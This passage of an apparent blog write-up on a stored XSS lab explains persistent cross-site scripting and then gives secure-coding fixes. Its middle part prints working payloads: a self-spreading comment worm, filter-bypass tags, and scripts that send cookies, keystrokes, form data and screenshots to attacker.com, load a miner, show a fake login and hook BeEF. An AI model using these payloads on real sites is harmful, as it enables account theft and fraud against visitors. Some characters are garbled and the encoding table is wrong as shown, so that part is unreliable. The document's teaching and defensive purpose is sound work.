         โ””โ”€โ”€ Success banner appears
         โ†“
Step 11: Lab complete! ๐ŸŽ‰
         โ”œโ”€โ”€ Stored XSS vulnerability exploited
         โ”œโ”€โ”€ Malicious script persists in database
         โ”œโ”€โ”€ All future visitors will be affected
         โ””โ”€โ”€ Stored XSS mastered!

๐Ÿ“š Understanding Stored XSS

What is Stored XSS?

Stored XSS Definition:

A web security vulnerability where:
โ”œโ”€โ”€ Malicious script submitted by attacker
โ”œโ”€โ”€ Stored permanently (database/file system)
โ”œโ”€โ”€ Included in later HTTP responses
โ”œโ”€โ”€ Executed in browsers of all users who view it
โ””โ”€โ”€ Also called: Persistent XSS, Type-II XSS

Characteristics:
โ”œโ”€โ”€ Persistent (survives server restart)
โ”œโ”€โ”€ Affects multiple victims automatically
โ”œโ”€โ”€ No social engineering needed after injection
โ”œโ”€โ”€ Higher impact than reflected XSS
โ”œโ”€โ”€ Harder to detect and remediate
โ””โ”€โ”€ Critical severity vulnerability

Storage Locations:
โ”œโ”€โ”€ Database tables (comments, posts, profiles)
โ”œโ”€โ”€ File system (uploaded files, logs)
โ”œโ”€โ”€ Application cache
โ”œโ”€โ”€ Session storage (less common)
โ””โ”€โ”€ Any persistent data store

Execution Triggers:
โ”œโ”€โ”€ User views affected page
โ”œโ”€โ”€ Admin accesses admin panel
โ”œโ”€โ”€ Search results display stored data
โ”œโ”€โ”€ Email client renders stored messages
โ””โ”€โ”€ Any retrieval and display of stored data

Severity: CRITICAL
โ””โ”€โ”€ Can compromise entire user base
    โ””โ”€โ”€ Worm potential (self-propagating)
    โ””โ”€โ”€ Mass data theft
    โ””โ”€โ”€ Complete site compromise via admin attack

How Stored XSS Differs from Reflected XSS

Comparison Matrix:

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚    Characteristic   โ”‚  Reflected XSS   โ”‚   Stored XSS     โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ Payload Location    โ”‚ URL/Request      โ”‚ Database         โ”‚
โ”‚ Persistence         โ”‚ Non-persistent   โ”‚ Persistent       โ”‚
โ”‚ Delivery Method     โ”‚ Malicious link   โ”‚ Normal browsing  โ”‚
โ”‚ Victim Count        โ”‚ One at a time    โ”‚ Multiple/all     โ”‚
โ”‚ Social Engineering  โ”‚ Required         โ”‚ Not required     โ”‚
โ”‚ Attack Complexity   โ”‚ Simple           โ”‚ Simple           โ”‚
โ”‚ Impact Scope        โ”‚ Limited          โ”‚ Wide             โ”‚
โ”‚ Detection           โ”‚ Easier (in URL)  โ”‚ Harder (in DB)   โ”‚
โ”‚ Severity            โ”‚ Medium-High      โ”‚ High-Critical    โ”‚
โ”‚ Cleanup             โ”‚ None needed      โ”‚ Requires DB edit โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

Attack Scenario Comparison:
Reflected XSS:
1. Attacker crafts URL: site.com/search?q=<script>alert(1)</script>
2. Attacker sends link to victim (email/social media)
3. Victim clicks link
4. Victim's browser executes script
5. One victim compromised

Stored XSS:
1. Attacker submits comment: <script>alert(1)</script>
2. Script stored in database
3. All users who view the page are affected
4. No additional attacker action needed
5. Hundreds/thousands of victims compromised

Key Insight:
โ””โ”€โ”€ Stored XSS is "fire and forget"
    โ””โ”€โ”€ One injection โ†’ Ongoing attacks
    โ””โ”€โ”€ Self-sustaining compromise
    โ””โ”€โ”€ Greater ROI for attackers

Why "Nothing Encoded" is Critical

Encoding Explained:

HTML Encoding Converts:
โ”œโ”€โ”€ < to <
โ”œโ”€โ”€ > to >
โ”œโ”€โ”€ & to &
โ”œโ”€โ”€ " to "
โ”œโ”€โ”€ ' to &#x27;
โ””โ”€โ”€ Prevents browser from interpreting as code

Without Encoding (This Lab):
Input Storage:
โ”œโ”€โ”€ User inputs: <script>alert(1)</script>
โ”œโ”€โ”€ Stored in DB: <script>alert(1)</script>
โ””โ”€โ”€ No transformation โš ๏ธ

Output Display:
โ”œโ”€โ”€ Retrieved from DB: <script>alert(1)</script>
โ”œโ”€โ”€ Inserted into HTML: <script>alert(1)</script>
โ”œโ”€โ”€ No encoding applied โš ๏ธ
โ””โ”€โ”€ Browser interprets as executable code!

With Proper Encoding:
Input Storage:
โ”œโ”€โ”€ User inputs: <script>alert(1)</script>
โ”œโ”€โ”€ Stored in DB: <script>alert(1)</script>
โ””โ”€โ”€ (Can store as-is, encoding happens on output)

Output Display:
โ”œโ”€โ”€ Retrieved from DB: <script>alert(1)</script>
โ”œโ”€โ”€ Encoded for HTML: <script>alert(1)</script>
โ”œโ”€โ”€ Browser displays: <script>alert(1)</script>
โ””โ”€โ”€ Displayed as TEXT, not executed โœ“

Critical Point:
โ””โ”€โ”€ Encoding MUST happen at OUTPUT
    โ””โ”€โ”€ Not at input/storage
    โ””โ”€โ”€ Context-specific encoding
    โ””โ”€โ”€ Every output point must be encoded
    โ””โ”€โ”€ Missing even one output = vulnerability

Common Stored XSS Locations

Vulnerable Application Features:

1. Comment Systems (This Lab)
   โ”œโ”€โ”€ Blog comments
   โ”œโ”€โ”€ Product reviews
   โ”œโ”€โ”€ Forum posts
   โ”œโ”€โ”€ Guestbooks
   โ””โ”€โ”€ Feedback forms
   
   Why vulnerable:
   โ””โ”€โ”€ User-generated content
       โ””โ”€โ”€ Displayed to many users
       โ””โ”€โ”€ Often minimal validation
       โ””โ”€โ”€ Rich text formatting allowed

2. User Profiles
   โ”œโ”€โ”€ Biography/About me
   โ”œโ”€โ”€ Display name
   โ”œโ”€โ”€ Profile picture alt text
   โ”œโ”€โ”€ Social media links
   โ””โ”€โ”€ Custom profile fields
   
   Why vulnerable:
   โ””โ”€โ”€ Viewed by many users
       โ””โ”€โ”€ Trusted content assumption
       โ””โ”€โ”€ Profile pages often public

3. Private Messaging
   โ”œโ”€โ”€ Direct messages
   โ”œโ”€โ”€ Chat applications
   โ”œโ”€โ”€ Notification systems
   โ””โ”€โ”€ Email web clients
   
   Why vulnerable:
   โ””โ”€โ”€ HTML rendering in messages
       โ””โ”€โ”€ Trusted sender assumption
       โ””โ”€โ”€ Limited security scrutiny

4. User-Generated Content
   โ”œโ”€โ”€ Wiki pages
   โ”œโ”€โ”€ Blog posts (user blogs)
   โ”œโ”€โ”€ Article submissions
   โ”œโ”€โ”€ Code snippets
   โ””โ”€โ”€ File descriptions
   
   Why vulnerable:
   โ””โ”€โ”€ Allows HTML/formatting
       โ””โ”€โ”€ Stored long-term
       โ””โ”€โ”€ Viewed by many users

5. Search Features
   โ”œโ”€โ”€ Saved searches
   โ”œโ”€โ”€ Search history
   โ”œโ”€โ”€ Recent searches display
   โ””โ”€โ”€ Search suggestions
   
   Why vulnerable:
   โ””โ”€โ”€ Search terms stored and displayed
       โ””โ”€โ”€ Often overlooked in security review

6. File Uploads
   โ”œโ”€โ”€ Filename display
   โ”œโ”€โ”€ File metadata (EXIF)
   โ”œโ”€โ”€ SVG files (contain XML/scripts)
   โ”œโ”€โ”€ HTML file uploads
   โ””โ”€โ”€ Document previews
   
   Why vulnerable:
   โ””โ”€โ”€ File data stored and displayed
       โ””โ”€โ”€ SVG files can contain <script>
       โ””โ”€โ”€ Filenames shown to users

7. Error Messages
   โ”œโ”€โ”€ Custom error pages
   โ”œโ”€โ”€ Validation errors
   โ”œโ”€โ”€ System logs displayed to users
   โ””โ”€โ”€ Debug information
   
   Why vulnerable:
   โ””โ”€โ”€ User input reflected in errors
       โ””โ”€โ”€ Stored in logs
       โ””โ”€โ”€ Displayed to admins/users

๐Ÿ”ฌ Advanced Topics

Self-Propagating XSS Worms

// Advanced: Self-Propagating Stored XSS

// Historical Example: Samy Worm (MySpace, 2005)
// This is educational - DO NOT use maliciously!
// Worm payload that posts itself in comments
<script>
// 1. Steal current user's session
var session = document.cookie;
// 2. Create new comment with this same payload
var payload = '<script>' + 
  'var s=document.cookie;' +
  'fetch("/post-comment",{method:"POST",body:"comment="+encodeURIComponent(document.currentScript.innerHTML)});' +
  '</' + 'script>';
// 3. Post the payload as a new comment
fetch('/post-comment', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'comment=' + encodeURIComponent(payload)
});
// 4. Every infected user posts the worm
// Result: Exponential spread across platform
</script>
How it spreads:
1. Attacker posts worm to one comment
   โ””โ”€โ”€ 10 users view it โ†’ 10 infected
2. Each infected user posts worm
   โ””โ”€โ”€ 10 ร— 10 = 100 users infected
3. Continues exponentially
   โ””โ”€โ”€ 100 โ†’ 1,000 โ†’ 10,000 โ†’ 100,000...
4. Entire platform infected rapidly
   โ””โ”€โ”€ Within hours/minutes
Real-world impact:
โ”œโ”€โ”€ Samy worm: 1 million MySpace profiles in 20 hours
โ”œโ”€โ”€ Twitter worm (2009): Thousands infected
โ”œโ”€โ”€ TweetDeck XSS (2014): Retweeted itself
โ””โ”€โ”€ Each demonstrates stored XSS severity
Prevention:
โ””โ”€โ”€ Proper output encoding
    โ””โ”€โ”€ Rate limiting on actions
    โ””โ”€โ”€ Content Security Policy (CSP)
    โ””โ”€โ”€ Input validation (defense in depth)

Bypassing Basic XSS Filters

// If <script> tag is filtered, try alternatives:

// 1. Image tag with onerror
<img src=x onerror=alert(1)>

// 2. SVG with onload
<svg onload=alert(1)>

// 3. Body tag with onload
<body onload=alert(1)>

// 4. Iframe with javascript: protocol
<iframe src="javascript:alert(1)">

// 5. Details/summary with ontoggle
<details open ontoggle=alert(1)>

// 6. Input with autofocus and onfocus
<input autofocus onfocus=alert(1)>

// 7. Marquee with onstart
<marquee onstart=alert(1)>

// 8. Video/audio with onerror
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>

// 9. Case variations (if filter is case-sensitive)
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>

// 10. HTML encoding (sometimes works)
<script>&#97;lert(1)</script>

// 11. Event handlers in various tags
<div onmouseover=alert(1)>hover me</div>
<button onclick=alert(1)>click me</button>

// 12. Using data: protocol
<object data="data:text/html,<script>alert(1)</script>">
// The lab with "nothing encoded" accepts basic <script>,
// but these alternatives are useful for bypassing filters

Exploiting Stored XSS for Maximum Impact

// Beyond alert(), real attacks do:

// 1. Session Hijacking (Cookie Theft)
<script>
fetch('https://attacker.com/steal', {
  method: 'POST',
  body: JSON.stringify({
    cookies: document.cookie,
    url: location.href,
    user: document.querySelector('.username')?.innerText
  })
});
</script>

// 2. Keylogging
<script>
document.addEventListener('keypress', function(e) {
  fetch('https://attacker.com/log?key=' + e.key + '&page=' + location.href);
});
</script>

// 3. Form Hijacking (Credential Theft)
<script>
document.addEventListener('submit', function(e) {
  e.preventDefault();
  var formData = new FormData(e.target);
  fetch('https://attacker.com/steal-form', {
    method: 'POST',
    body: formData
  });
  e.target.submit(); // Submit normally to avoid suspicion
});
</script>

// 4. Cryptocurrency Mining
<script src="https://attacker.com/cryptominer.js"></script>
<script>
// Uses visitor's CPU to mine cryptocurrency
// Slows down their browser
// Generates passive income for attacker
</script>

// 5. Admin Account Takeover
<script>
// If admin views this comment, steal their session
if (document.querySelector('.admin-panel')) {
  fetch('https://attacker.com/admin-cookie', {
    method: 'POST',
    body: document.cookie
  });
}
</script>

// 6. Defacement
<script>
document.body.innerHTML = `
  <h1>This site has been hacked!</h1>
  <p>All your data belongs to us.</p>
  <img src="https://attacker.com/hacker.jpg">
`;
</script>

// 7. Phishing (Fake Login Form)
<script>
// Inject convincing fake login form
document.body.innerHTML = `
  <style>
    .fake-login {
      max-width: 400px;
      margin: 100px auto;
      padding: 20px;
      border: 1px solid #ccc;
      border-radius: 5px;
    }
  </style>
  <div class="fake-login">
    <h2>Session Expired - Please Login</h2>
    <form action="https://attacker.com/phish" method="POST">
      <input name="username" placeholder="Username" required><br><br>
      <input type="password" name="password" placeholder="Password" required><br><br>
      <button type="submit">Login</button>
    </form>
  </div>
`;
</script>

// 8. Redirecting to Malware
<script>
// Redirect all visitors to malware site
setTimeout(function() {
  location.href = 'https://attacker.com/malware-download';
}, 3000); // Wait 3 seconds before redirect
</script>

// 9. Screenshot/Data Exfiltration
<script>
// Capture screenshot using HTML2Canvas
fetch('https://html2canvas.hertzen.com/dist/html2canvas.min.js')
  .then(r => r.text())
  .then(eval)
  .then(() => html2canvas(document.body))
  .then(canvas => {
    canvas.toBlob(blob => {
      var formData = new FormData();
      formData.append('screenshot', blob);
      fetch('https://attacker.com/screenshots', {
        method: 'POST',
        body: formData
      });
    });
  });
</script>

// 10. BeEF Hook (Browser Exploitation Framework)
<script src="https://attacker.com:3000/hook.js"></script>
// Gives attacker full control over victim's browser

Stored XSS in Different Contexts

<!-- 1. HTML Context (This Lab) -->
<!-- Payload injected between HTML tags -->
<div class="comment">
  <script>alert(1)</script>  <!-- Executes directly -->
</div>
<!-- 2. Attribute Context -->
<!-- Payload in HTML attribute -->
<img src="user-input-here">
<!-- Attack: " onerror=alert(1) // -->
<!-- Result: <img src="" onerror=alert(1) //"> -->
<!-- 3. JavaScript Context -->
<!-- Payload in JavaScript code -->
<script>
  var username = "user-input-here";
</script>
<!-- Attack: "; alert(1); // -->
<!-- Result: var username = ""; alert(1); //"; -->
<!-- 4. URL Context -->
<!-- Payload in href or src -->
<a href="user-input-here">Click</a>
<!-- Attack: javascript:alert(1) -->
<!-- Result: <a href="javascript:alert(1)">Click</a> -->
<!-- 5. CSS Context -->
<!-- Payload in style attribute -->
<div style="background: user-input-here">
</div>
<!-- Attack: red; } </style><script>alert(1)</script><style> -->
<!-- Each context requires different encoding! -->

๐Ÿ›ก๏ธ How to Fix (Secure Code)

Fix 1: Output Encoding (Primary Defense)

# โŒ VULNERABLE - No output encoding
from flask import Flask, request, g
import sqlite3
@app.route('/post-comment', methods=['POST'])
def post_comment():
    comment = request.form.get('comment')
    name = request.form.get('name')
    
    # Store in database (OK to store raw data)
    db = get_db()
    db.execute(
        'INSERT INTO comments (text, author) VALUES (?, ?)',
        (comment, name)
    )
    db.commit()
    return redirect('/blog/post/1')
@app.route('/blog/post/<int:post_id>')
def view_post(post_id):
    db = get_db()
    comments = db.execute(
        'SELECT text, author FROM comments WHERE post_id = ?',
        (post_id,)
    ).fetchall()
    
    # โŒ DANGEROUS: Direct output without encoding
    html = '<div class="comments">'
    for comment in comments:
        html += f'<div><strong>{comment["author"]}</strong>'
        html += f'<p>{comment["text"]}</p></div>'  # VULNERABLE!
    html += '</div>'
    
    return html

# โœ… SECURE - HTML encoding at output
from flask import Flask, request, render_template_string
from markupsafe import escape
@app.route('/blog/post/<int:post_id>')
def view_post_secure(post_id):
    db = get_db()
    comments = db.execute(
        'SELECT text, author FROM comments WHERE post_id = ?',
        (post_id,)
    ).fetchall()
    
    # Encode output using escape()
    html = '<div class="comments">'
    for comment in comments:
        # HTML encode each piece of user data
        safe_author = escape(comment["author"])
        safe_text = escape(comment["text"])
        html += f'<div><strong>{safe_author}</strong>'
        html += f'<p>{safe_text}</p></div>'
    html += '</div>'
    
    return html

# โœ… EVEN BETTER - Use template engine with auto-escaping
@app.route('/blog/post/<int:post_id>')
def view_post_template(post_id):
    db = get_db()
    comments = db.execute(
        'SELECT text, author FROM comments WHERE post_id = ?',
        (post_id,)
    ).fetchall()
    
    # Jinja2 automatically escapes {{ variables }}
    return render_template('post.html', comments=comments)

# Template: templates/post.html
# <div class="comments">
#   {% for comment in comments %}
#     <div>
#       <strong>{{ comment.author }}</strong>
#       <p>{{ comment.text }}</p>  <!-- Auto-escaped! -->
#     </div>
#   {% endfor %}
# </div>

Fix 2: Content Security Policy (CSP)

# โœ… SECURE - Add CSP headers
from flask import Flask, make_response
@app.after_request
def add_security_headers(response):
    # Content Security Policy
    response.headers['Content-Security-Policy'] = (
        "default-src 'self'; "
        "script-src 'self'; "  # Only allow scripts from same origin
        "object-src 'none'; "  # Disable plugins
        "base-uri 'self'; "
        "frame-ancestors 'none';"
    )
    
    # Additional security headers
    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['X-Frame-Options'] = 'DENY'
    response.headers['X-XSS-Protection'] = '1; mode=block'
    
    return response

# With CSP, even if XSS payload is injected:
# โ””โ”€โ”€ Inline <script> tags won't execute
#     โ””โ”€โ”€ Only scripts from 'self' (same origin) allowed
#     โ””โ”€โ”€ Blocks: <script>alert(1)</script>
#     โ””โ”€โ”€ Blocks: <img onerror=...>
#     โ””โ”€โ”€ Defense in depth โœ“

Fix 3: Input Validation (Defense in Depth)

# โŒ INSUFFICIENT - Input validation alone doesn't prevent XSS
import re
from flask import Flask, request, abort
@app.route('/post-comment', methods=['POST'])
def post_comment_validation_only():
    comment = request.form.get('comment')
    
    # Input validation (helpful but not enough)
    if not comment or len(comment) > 1000:
        abort(400, 'Invalid comment length')
    
    # Check for suspicious patterns (blocklist - BAD approach)
    if '<script>' in comment.lower():
        abort(400, 'Invalid comment content')
    
    # โŒ Still vulnerable to: <img onerror=alert(1)>
    # โŒ Still vulnerable to: <ScRiPt>alert(1)</ScRiPt>
    # โŒ Still vulnerable to: <svg onload=alert(1)>
    
    # Store comment
    db.execute('INSERT INTO comments (text) VALUES (?)', (comment,))
    
    return redirect('/blog')

# โœ… BETTER - Input validation + output encoding
from markupsafe import escape
import re
@app.route('/post-comment', methods=['POST'])
def post_comment_secure():
    comment = request.form.get('comment')
    name = request.form.get('name')
    
    # Input validation (defense in depth, not primary defense)
    if not comment or len(comment) > 1000:
        abort(400, 'Comment too long')
    
    # Optional: Whitelist allowed characters (very restrictive)
    # Only if your use case allows it
    if not re.match(r'^[a-zA-Z0-9\s\.\,\!\?\'\"]+$', comment):
        abort(400, 'Invalid characters in comment')
    
    # Store raw data (encoding happens at output)
    db.execute(
        'INSERT INTO comments (text, author) VALUES (?, ?)',
        (comment, name)
    )
    db.commit()
    
    return redirect('/blog/post/1')

# CRITICAL: Always encode at output regardless of input validation!
@app.route('/blog/post/<int:post_id>')
def view_post(post_id):
    comments = db.execute('SELECT text, author FROM comments').fetchall()
    
    # PRIMARY DEFENSE: Output encoding
    return render_template('post.html', comments=comments)
    # Template auto-escapes all {{ variables }}

Fix 4: Use Modern Frameworks

# โœ… Django (Auto-escaping templates)
from django.shortcuts import render
from .models import Comment

def blog_post(request, post_id):
    comments = Comment.objects.filter(post_id=post_id)
    
    # Django templates auto-escape by default
    return render(request, 'blog_post.html', {
        'comments': comments
    })
# Template: blog_post.html
# {% for comment in comments %}
#   <div class="comment">
#     <strong>{{ comment.author }}</strong>  <!-- Auto-escaped -->
#     <p>{{ comment.text }}</p>  <!-- Auto-escaped -->
#   </div>
# {% endfor %}
# To disable escaping (DANGEROUS - avoid):
# {{ comment.text|safe }}  <!-- Only use if data is already sanitized! -->
// โœ… React (Auto-escaping JSX)
function CommentList({ comments }) {
  return (
    <div className="comments">
      {comments.map(comment => (
        <div key={comment.id}>
          <strong>{comment.author}</strong>
          {/* JSX automatically escapes {variables} */}
          <p>{comment.text}</p>
        </div>
      ))}
    </div>
  );
}

// React prevents XSS by default
// To bypass (DANGEROUS - avoid):
// <div dangerouslySetInnerHTML={{ __html: comment.text }} />
<?php
// โœ… PHP with proper escaping
function display_comments($post_id) {
    $db = new PDO('sqlite:blog.db');
    $stmt = $db->prepare('SELECT text, author FROM comments WHERE post_id = ?');
    $stmt->execute([$post_id]);
    $comments = $stmt->fetchAll();
    
    echo '<div class="comments">';
    foreach ($comments as $comment) {
        // htmlspecialchars() encodes for HTML context
        $safe_author = htmlspecialchars($comment['author'], ENT_QUOTES, 'UTF-8');
        $safe_text = htmlspecialchars($comment['text'], ENT_QUOTES, 'UTF-8');
        
        echo "<div>";
        echo "<strong>$safe_author</strong>";
        echo "<p>$safe_text</p>";
        echo "</div>";
    }
    echo '</div>';
}
?>

Fix 5: Sanitize HTML (If Rich Text Needed)

# If you MUST allow some HTML formatting:

# โœ… Use HTML sanitizer library
import bleach
ALLOWED_TAGS = ['p', 'br', 'strong', 'em', 'u', 'a']
ALLOWED_ATTRIBUTES = {'a': ['href', 'title']}
@app.route('/post-comment', methods=['POST'])
def post_comment_html():
    comment = request.form.get('comment')
    
    # Sanitize: Remove dangerous tags/attributes
    clean_comment = bleach.clean(
        comment,
        tags=ALLOWED_TAGS,
        attributes=ALLOWED_ATTRIBUTES,
        strip=True
    )
    
    # Store sanitized HTML
    db.execute('INSERT INTO comments (text) VALUES (?)', (clean_comment,))
    
    return redirect('/blog')
# Display sanitized HTML (mark as safe)
@app.route('/blog/post/<int:post_id>')
def view_post(post_id):
    comments = db.execute('SELECT text FROM comments').fetchall()
    
    # Since we sanitized on input, we can mark as safe
    return render_template('post.html', comments=comments)
# Template: post.html
# {% for comment in comments %}
#   {{ comment.text|safe }}  <!-- Safe because sanitized -->
# {% endfor %}
# What bleach does:
# Input: <script>alert(1)</script><p>Hello</p>
# Output: <p>Hello</p>  (script tag removed)
#
# Input: <p onclick="alert(1)">Click</p>
# Output: <p>Click</p>  (onclick removed)

๐Ÿ‘ If this helped you โ€” clap it up (you can clap up to 50 times!)

๐Ÿ”” Follow for more writeups โ€” dropping soon

๐Ÿ”— Share with your pentest team

๐Ÿ’ฌ Drop a comment